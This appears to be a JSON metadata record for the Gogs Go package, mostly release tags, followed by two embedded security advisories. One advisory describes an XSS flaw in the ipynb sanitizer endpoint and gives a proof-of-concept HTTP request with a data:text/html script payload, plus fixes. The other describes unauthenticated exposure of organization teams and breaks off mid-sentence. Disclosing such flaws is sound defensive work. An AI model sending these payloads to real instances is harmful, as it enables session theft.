v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.9.113","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.9.113/manifests"},{"name":"v0.9.97","sha":"8ee14db51ebc92728e1edba4545c7d4ea4b21c65","kind":"commit","published_at":"2016-09-01T04:35:04.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.9.97","html_url":"https://github.com/gogs/gogs/releases/tag/v0.9.97","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.9.97","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.9.97","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.9.97/manifests"},{"name":"v0.9.71","sha":"81e6f82cafe4b450996a01618a2ee379c7f67682","kind":"commit","published_at":"2016-08-10T18:57:53.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.9.71","html_url":"https://github.com/gogs/gogs/releases/tag/v0.9.71","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.9.71","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.9.71","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.9.71/manifests"},{"name":"v0.9.60","sha":"ee28fd92551961070cff4fe1b37ab94268c2f111","kind":"commit","published_at":"2016-08-03T19:24:53.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.9.60","html_url":"https://github.com/gogs/gogs/releases/tag/v0.9.60","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.9.60","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.9.60","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.9.60/manifests"},{"name":"v0.9.48","sha":"599716bb1b78e6be903db92fde6d9bf65d79bf3e","kind":"commit","published_at":"2016-07-22T14:21:26.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.9.48","html_url":"https://github.com/gogs/gogs/releases/tag/v0.9.48","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.9.48","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.9.48","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.9.48/manifests"},{"name":"v0.9.46","sha":"1c7dcdd6b948b9c177b5ed4e036e612508ee9832","kind":"commit","published_at":"2016-07-17T02:46:21.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.9.46","html_url":"https://github.com/gogs/gogs/releases/tag/v0.9.46","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.9.46","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.9.46","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.9.46/manifests"},{"name":"v0.9.13","sha":"3fb4f7f4980b4339fd9ef6a3ba5b0acab83d264d","kind":"commit","published_at":"2016-03-19T18:51:41.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.9.13","html_url":"https://github.com/gogs/gogs/releases/tag/v0.9.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.9.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.9.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.9.13/manifests"},{"name":"v0.9.0","sha":"0ea0c5ec4f24f0fc5ef3231085c74b33a16f98ec","kind":"commit","published_at":"2016-03-07T00:55:38.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.9.0","html_url":"https://github.com/gogs/gogs/releases/tag/v0.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.9.0/manifests"},{"name":"v0.8.43","sha":"d324500959c06e975921790f8770aa5d1bdf2344","kind":"commit","published_at":"2016-02-24T06:14:43.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.8.43","html_url":"https://github.com/gogs/gogs/releases/tag/v0.8.43","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.8.43","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.8.43","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.8.43/manifests"},{"name":"v0.8.25","sha":"6e03f6161777b38c0c185793e8f0294851796e46","kind":"commit","published_at":"2016-01-30T15:12:23.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.8.25","html_url":"https://github.com/gogs/gogs/releases/tag/v0.8.25","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.8.25","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.8.25","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.8.25/manifests"},{"name":"v0.8.10","sha":"09c981846b2b80c703d26b17024ec2212b8bac63","kind":"commit","published_at":"2015-12-18T12:54:44.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.8.10","html_url":"https://github.com/gogs/gogs/releases/tag/v0.8.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.8.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.8.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.8.10/manifests"},{"name":"v0.8.0","sha":"4df378b89249bac5e7d707b6616e051271a9aea2","kind":"commit","published_at":"2015-12-13T03:04:52.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.8.0","html_url":"https://github.com/gogs/gogs/releases/tag/v0.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.8.0/manifests"},{"name":"v0.7.33","sha":"b5f6206a659eaa76382774675f2e3f2664d0f501","kind":"commit","published_at":"2015-12-06T20:34:17.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.7.33","html_url":"https://github.com/gogs/gogs/releases/tag/v0.7.33","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.7.33","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.7.33","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.7.33/manifests"},{"name":"v0.7.22","sha":"253513cedda72939ec4d496a3325c654659cc15f","kind":"commit","published_at":"2015-11-25T14:36:26.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.7.22","html_url":"https://github.com/gogs/gogs/releases/tag/v0.7.22","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.7.22","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.7.22","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.7.22/manifests"},{"name":"v0.7.19","sha":"d37da1f3929f94703d7c7f19f60288109f95756d","kind":"commit","published_at":"2015-11-21T19:40:29.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.7.19","html_url":"https://github.com/gogs/gogs/releases/tag/v0.7.19","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.7.19","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.7.19","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.7.19/manifests"},{"name":"v0.7.6","sha":"d1e28ac013c2f562939025e6a031671a5a70dd52","kind":"commit","published_at":"2015-11-12T17:50:45.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.7.6","html_url":"https://github.com/gogs/gogs/releases/tag/v0.7.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.7.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.7.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.7.6/manifests"},{"name":"v0.7.0","sha":"58436b5ea51cb5e09fb244331d7a9acf70258063","kind":"commit","published_at":"2015-11-08T16:08:13.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.7.0","html_url":"https://github.com/gogs/gogs/releases/tag/v0.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.7.0/manifests"},{"name":"v0.6.15","sha":"d5ad4e1141c27410920faaddc60794bf53ee98d0","kind":"commit","published_at":"2015-09-26T18:09:09.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.6.15","html_url":"https://github.com/gogs/gogs/releases/tag/v0.6.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.6.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.6.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.6.15/manifests"},{"name":"v0.6.9","sha":"1c2dbd7183f12eff0be33c7a8d1cf0753dd42324","kind":"commit","published_at":"2015-09-05T09:06:03.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.6.9","html_url":"https://github.com/gogs/gogs/releases/tag/v0.6.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.6.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.6.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.6.9/manifests"},{"name":"v0.6.5","sha":"21d1d2905d42b9c1f911ab95188e774062907499","kind":"commit","published_at":"2015-08-16T11:35:24.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.6.5","html_url":"https://github.com/gogs/gogs/releases/tag/v0.6.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.6.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.6.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.6.5/manifests"},{"name":"v0.6.3","sha":"8e8d535e233966acd1510df78c01e11dc8156514","kind":"commit","published_at":"2015-08-02T04:37:45.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.6.3","html_url":"https://github.com/gogs/gogs/releases/tag/v0.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.6.3/manifests"},{"name":"v0.6.1","sha":"d76f11c6f14b69bf981e5fc3901cc2c6445773b8","kind":"commit","published_at":"2015-03-26T15:00:22.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.6.1","html_url":"https://github.com/gogs/gogs/releases/tag/v0.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.6.1/manifests"},{"name":"v0.6.0","sha":"7cf05645873634cd926bb16ff880840330305d5b","kind":"commit","published_at":"2015-03-19T20:44:22.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.6.0","html_url":"https://github.com/gogs/gogs/releases/tag/v0.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.6.0/manifests"},{"name":"v0.5.13","sha":"a38e4a0b027f7be1f5523dc8e729f6f8300a8095","kind":"commit","published_at":"2015-02-13T21:48:23.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.5.13","html_url":"https://github.com/gogs/gogs/releases/tag/v0.5.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.5.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.5.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.5.13/manifests"},{"name":"v0.5.11","sha":"9e61ec316e10e5ca9ba2eb3ac58ff04e4a85d285","kind":"commit","published_at":"2015-01-05T12:45:06.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.5.11","html_url":"https://github.com/gogs/gogs/releases/tag/v0.5.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.5.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.5.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.5.11/manifests"},{"name":"v0.5.9","sha":"c9e0b3b98700e65d2f304e028b7ba4c073209f45","kind":"commit","published_at":"2014-12-14T01:32:30.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.5.9","html_url":"https://github.com/gogs/gogs/releases/tag/v0.5.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.5.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.5.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.5.9/manifests"},{"name":"v0.5.8","sha":"2d8c414f8c44e20619d6680b96044424ef6ebb2a","kind":"commit","published_at":"2014-11-19T00:05:33.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.5.8","html_url":"https://github.com/gogs/gogs/releases/tag/v0.5.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.5.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.5.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.5.8/manifests"},{"name":"v0.5.5","sha":"54930c001df8316d8dfda450b5c39379df2cc1b1","kind":"commit","published_at":"2014-10-10T20:22:49.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.5.5","html_url":"https://github.com/gogs/gogs/releases/tag/v0.5.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.5.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.5.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.5.5/manifests"},{"name":"v0.5.2","sha":"4f74b4e6578be4251af65cd08daa37c884e431a0","kind":"commit","published_at":"2014-09-18T16:21:00.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.5.2","html_url":"https://github.com/gogs/gogs/releases/tag/v0.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.5.2/manifests"},{"name":"v0.5.0","sha":"efb68a0a96574a334a3ec791c0a7f2bc6b96d006","kind":"commit","published_at":"2014-09-14T23:22:52.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.5.0","html_url":"https://github.com/gogs/gogs/releases/tag/v0.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.5.0/manifests"},{"name":"v0.4.2","sha":"a0318db2f9094eda2beea19ed323244b4ae30831","kind":"commit","published_at":"2014-06-06T09:12:56.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.4.2","html_url":"https://github.com/gogs/gogs/releases/tag/v0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.4.2/manifests"},{"name":"v0.4.1","sha":"afc6cbc4797571a138eb150768fb9276b4da702b","kind":"commit","published_at":"2014-06-01T15:06:03.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.4.1","html_url":"https://github.com/gogs/gogs/releases/tag/v0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.4.1/manifests"},{"name":"v0.4.0","sha":"2657f88d9af9420329c49fab20bd1c7a5febc071","kind":"commit","published_at":"2014-05-31T21:15:04.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.4.0","html_url":"https://github.com/gogs/gogs/releases/tag/v0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.4.0/manifests"},{"name":"v0.3.1","sha":"2401e68d7ed7d53425293ad32d231542d03bbef3","kind":"commit","published_at":"2014-04-29T01:53:40.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.3.1","html_url":"https://github.com/gogs/gogs/releases/tag/v0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.3.1/manifests"},{"name":"v0.3.0","sha":"de01f814892666298d24f79f769a7c0766119c87","kind":"commit","published_at":"2014-04-21T10:54:07.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.3.0","html_url":"https://github.com/gogs/gogs/releases/tag/v0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.3.0/manifests"},{"name":"v0.2.0","sha":"76c64b43cb56a298e5fc2ec8adc0d7b820cbe614","kind":"commit","published_at":"2014-03-31T11:57:51.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.2.0","html_url":"https://github.com/gogs/gogs/releases/tag/v0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.2.0/manifests"}]},"repo_metadata_updated_at":"2026-08-29T21:43:25.022Z","dependent_packages_count":2,"downloads":null,"downloads_period":null,"dependent_repos_count":1,"rankings":{"downloads":null,"dependent_repos_count":4.793834424600911,"dependent_packages_count":3.7057124072664522,"stargazers_count":0.026143682358409137,"forks_count":0.057059624194940574,"docker_downloads_count":0.25676724334687545,"average":1.7679034763535177},"purl":"pkg:golang/gogs.io/gogs","advisories":[{"uuid":"GSA_kwCzR0hTQS0zdzI4LTM2cDktdzkyOc4ABZTZ","url":"https://github.com/advisories/GHSA-3w28-36p9-w929","title":"Gogs's Unauthenticated Jupyter Notebook (ipynb) Sanitizer allows arbitrary data: URIs leading to XSS","description":"## Summary\n\nThe Jupyter Notebook (ipynb) sanitizer endpoint at `POST /-/api/sanitize_ipynb` allows arbitrary `data:` URIs without proper restrictions, potentially leading to Cross-Site Scripting (XSS). The endpoint uses `bluemonday.UGCPolicy()` with `p.AllowURLSchemes(\"data\")` which permits all data URI schemes including `data:text/html`, enabling attackers to inject malicious HTML/JavaScript. Additionally, the endpoint has no authentication middleware, allowing any registered user to exploit this vulnerability.\n\n## Severity\n\n**High**\n\n## Affected Versions\n\nAll versions using the vulnerable endpoint\n\n## Vulnerability Details\n\n- **CVE ID**: (To be assigned)\n- **Entry Point**: `POST /-/api/sanitize_ipynb`\n- **Attack Vector**: Network\n- **Authentication Required**: No (only needs a registered user account)\n\n## Impact\n\nAn attacker with a registered user account can:\n\n- Send malicious HTML containing `data:text/html` URIs to the sanitization endpoint\n- Receive sanitized but attacker-controlled HTML in the response\n- Execute arbitrary JavaScript in the attacker's browser context through XSS\n- Potentially exploit other users if the sanitized output is rendered in their context\n\nThe vulnerability has higher severity because:\n\n1. No authentication required (only needs a registered user account)\n2. Unlike the safer pattern in `internal/markup/sanitizer.go:39` which uses `isSafeDataURI` to only allow safe image MIME types, this endpoint allows ALL data URIs including HTML\n3. The returned HTML can be used to craft XSS attacks\n\n## Proof of Concept\n\nAttacker sends a POST request to the sanitization endpoint:\n\n```http\nPOST /-/api/sanitize_ipynb HTTP/1.1\nHost: target.gogs.instance\nContent-Type: text/plain\n\n\u003ca href=\"data:text/html,\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\"\u003eclick\u003c/a\u003e\n```\n\nThe server returns the sanitized HTML with the data URI preserved:\n\n```html\n\u003ca href=\"data:text/html,\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\"\u003eclick\u003c/a\u003e\n```\n\nWhen this HTML is rendered in a browser, the JavaScript within the data URI will execute, leading to XSS.\n\n## Affected Component\n\n**File**: `internal/app/api.go:10-16`\n\n```go\nfunc ipynbSanitizer() *bluemonday.Policy {\n\tp := bluemonday.UGCPolicy()\n\tp.AllowAttrs(\"class\", \"data-prompt-number\").OnElements(\"div\")\n\tp.AllowAttrs(\"class\").OnElements(\"img\")\n\tp.AllowURLSchemes(\"data\")  // \u003c-- VULNERABLE: allows all data URIs\n\treturn p\n}\n```\n\n**File**: `cmd/gogs/web.go:681-683` - No authentication middleware\n\n```go\nm.Group(\"/-\", func() {\n\tm.Get(\"/metrics\", app.MetricsFilter(), promhttp.Handler())\n\tm.Group(\"/api\", func() {\n\t\tm.Post(\"/sanitize_ipynb\", app.SanitizeIpynb())  // \u003c-- No auth middleware\n\t})\n})\n```\n\n## Root Cause\n\n1. **Unrestricted data URI scheme**: The code at `internal/app/api.go:14` uses `p.AllowURLSchemes(\"data\")` without any restriction, unlike the safer implementation in `internal/markup/sanitizer.go:39` which uses `AllowURLSchemeWithCustomPolicy(\"data\", isSafeDataURI)` to only allow safe image MIME types.\n\n2. **No authentication**: The endpoint at `cmd/gogs/web.go:682` does not have any authentication middleware applied, making it accessible to any registered user.\n\n3. **Insufficient validation**: The sanitization only removes dangerous tags/attributes but preserves data URIs, allowing `data:text/html` payloads to pass through.\n\n## Suggested Fix\n\n**Option 1**: Use the same safe pattern as `internal/markup/sanitizer.go`\n\nReplace `p.AllowURLSchemes(\"data\")` with:\n\n```go\np.AllowURLSchemeWithCustomPolicy(\"data\", isSafeDataURI)\n```\n\nWhere `isSafeDataURI` is a function that only allows safe image MIME types (image/png, image/jpeg, image/gif, etc.).\n\n**Option 2**: Add authentication middleware\n\nApply appropriate authentication to the endpoint:\n\n```go\nm.Post(\"/sanitize_ipynb\", middleware.signIn, app.SanitizeIpynb())\n```\n\n**Option 3**: Disable data URI scheme entirely\n\nIf data URIs are not required for ipynb sanitization:\n\n```go\n// Remove this line entirely:\n// p.AllowURLSchemes(\"data\")\n```","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-06-23T17:33:32.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.4,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:P","references":["https://github.com/gogs/gogs/security/advisories/GHSA-3w28-36p9-w929","https://github.com/gogs/gogs/pull/8326","https://github.com/gogs/gogs/commit/dd1bd9837aa196b3ed3a8ee21e5727b5d7a986a3","https://github.com/gogs/gogs/releases/tag/v0.14.3","https://nvd.nist.gov/vuln/detail/CVE-2026-52816","https://github.com/advisories/GHSA-3w28-36p9-w929"],"source_kind":"github","identifiers":["GHSA-3w28-36p9-w929","CVE-2026-52816"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-23T18:00:09.137Z","updated_at":"2026-09-03T07:01:32.706Z","epss_percentage":0.00677,"epss_percentile":0.49742,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zdzI4LTM2cDktdzkyOc4ABZTZ","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0zdzI4LTM2cDktdzkyOc4ABZTZ","packages":[{"ecosystem":"go","package_name":"gogs.io/gogs","versions":[{"first_patched_version":"0.14.3","vulnerable_version_range":"\u003c 0.14.3"}],"purl":"pkg:go/gogs.io%2Fgogs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zdzI4LTM2cDktdzkyOc4ABZTZ/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS03NDR4LTM4MzgtNXI1Ns4ABZTV","url":"https://github.com/advisories/GHSA-744x-3838-5r56","title":"Gogs Vulnerable to Unauthenticated Organization Teams Information Disclosure via API","description":"## Summary\n\nGogs has an unauthenticated information disclosure vulnerability. The `GET /api/v1/orgs/:orgname/teams` endpoint at `internal/route/api/v1/org_team.go:8` returns all teams for any organization without requiring authentication. The route group at `internal/route/api/v1/api.go:380-385` lacks the `reqToken()` middleware, and the `listTeams()` handler performs no authentication check, exposing team IDs, names, descriptions, and permission levels to any unauthenticated caller.\n\n## Affected Versions\n\nGogs (all current versions)\n\n## Vulnerability Details\n\n### Root Cause: Missing reqToken() middleware on org teams route group\n\n`internal/route/api/v1/api.go` lines 380-385:\n\n```go\n// Org teams route group — no reqToken() middleware\nm.Group(\"/:orgname\", func() {\n    m.Get(\"/teams\", org.ListTeams) // No auth required\n}, orgAssignment(true))\n```\n\nThe `orgAssignment(true)` middleware only loads the organization object — it performs no authentication. The `listTeams()` handler at `org_team.go:8` returns all teams unconditionally:\n\n```go\nfunc ListTeams(c *context.APIContext) {\n    org := c.Org.Organization\n    teams, err := database.GetTeamsByOrgID(org.ID)\n    // Returns all teams — no c.IsLogged check, no permission check\n}\n```\n\nCompare with other org endpoints that correctly require authentication:\n\n```go\nm.Group(\"/orgs/:orgname\", func() {\n    // ... other endpoints ...\n}, reqToken(), orgAssignment(true, true)) // reqToken() enforces auth\n```\n\n### Attack Chain\n\n- Attacker sends `GET /api/v1/orgs/target-org/teams` with no authentication\n- `orgAssignment(true)` loads the organization but does not check auth\n- `ListTeams()` queries 